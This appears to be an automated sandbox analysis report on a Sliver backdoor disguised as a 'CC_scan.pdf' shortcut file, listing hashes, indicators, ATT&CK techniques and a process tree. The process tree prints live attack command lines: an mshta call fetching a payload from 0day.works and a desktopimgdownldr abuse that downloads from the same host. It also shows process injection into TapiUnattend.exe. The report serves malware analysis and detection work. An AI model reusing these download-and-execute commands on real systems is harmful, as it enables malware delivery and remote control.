sliver | f35bc7fcf73829f246b7c900600d04ceb38812f5407970daa1c5dfe1954ff478

Analysis

max time kernel
94s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2024, 15:27

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General

Target

CC_scan.pdf.lnk.download.lnk
Size

1KB
MD5

95bfcc2eac48c76681aa2d97a5674201
SHA1

f72d50b2bba6e479ec106ae2f6fe993ab6eef99a
SHA256

f35bc7fcf73829f246b7c900600d04ceb38812f5407970daa1c5dfe1954ff478
SHA512

952485dbd0096257ab62ef2fa684d1333fa1e495ad29d8e7a8aaa41d6b316abb48ca5ad2c1b704db7e5bc346a8350039a059c7d5ad323b072ecd3911ac4c5925

Score

10^/10

sliver backdoor trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://0day.works/a

Signatures

Sliver RAT v2 1 IoCs

resource	yara_rule
behavioral2/memory/4280-21-0x0000000307FC0000-0x00000003090C1000-memory.dmp	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3672	mshta.exe
8	3672	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
2080	TapiUnattend.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Tasks\TapiUnattend.exe	mshta.exe
File created	C:\Windows\Tasks\TapiUnattend.exe	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
2080	TapiUnattend.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3580 wrote to memory of 3672	3580	cmd.exe	83
PID 3580 wrote to memory of 3672	3580	cmd.exe	83
PID 3672 wrote to memory of 2148	3672	mshta.exe	84
PID 3672 wrote to memory of 2148	3672	mshta.exe	84
PID 2148 wrote to memory of 4028	2148	cmd.exe	86
PID 2148 wrote to memory of 4028	2148	cmd.exe	86
PID 3672 wrote to memory of 2080	3672	mshta.exe	93
PID 3672 wrote to memory of 2080	3672	mshta.exe	93
PID 2080 wrote to memory of 4280	2080	TapiUnattend.exe	94
PID 2080 wrote to memory of 4280	2080	TapiUnattend.exe	94
PID 2080 wrote to memory of 4280	2080	TapiUnattend.exe	94
PID 2080 wrote to memory of 4280	2080	TapiUnattend.exe	94
PID 2080 wrote to memory of 4280	2080	TapiUnattend.exe	94

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\CC_scan.pdf.lnk.download.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3580
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://0day.works/a
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c set "SYSTEMROOT=C:\Windows\Temp" && desktopimgdownldr.exe /deskimgurl:https://0day.works/null /eventName:desktopimgdownldr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\system32\desktopimgdownldr.exe
      desktopimgdownldr.exe /deskimgurl:https://0day.works/null /eventName:desktopimgdownldr
      4⤵
      PID:4028
- - C:\Windows\Tasks\TapiUnattend.exe
    "C:\Windows\Tasks\TapiUnattend.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of WriteProcessMemory
    PID:2080
  - - C:\Windows\System32\TapiUnattend.exe
      C:\Windows\System32\TapiUnattend.exe
      4⤵
      PID:4280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Windows\Tasks\TapiUnattend.exe

Filesize
15KB

MD5
b574abf43dcc57a359129d1adb4cdda0

SHA1
6fb0f79d9a7f0108ff817ee418e3436cc51393b5

SHA256
6a960edad235f685e741e0f1a74d1162fd3cf410862192236f962ae289f0886e

SHA512
a82831945726b02e56a843288039d5770f926615dde410653eda33a90bdf00b5c9492dd8483d97f2798009e8f38453c3089853495e1af2a8276bba7ebce51b78

Download Submit
memory/2080-19-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

Filesize
2.0MB

Download
memory/2080-32-0x00007FFBEF060000-0x00007FFBF0B21000-memory.dmp

Filesize
26.8MB

Download
memory/4280-20-0x00007FFC10BD0000-0x00007FFC10DC5000-memory.dmp

Filesize
2.0MB

Download
memory/4280-21-0x0000000307FC0000-0x00000003090C1000-memory.dmp

Filesize
17.0MB

Download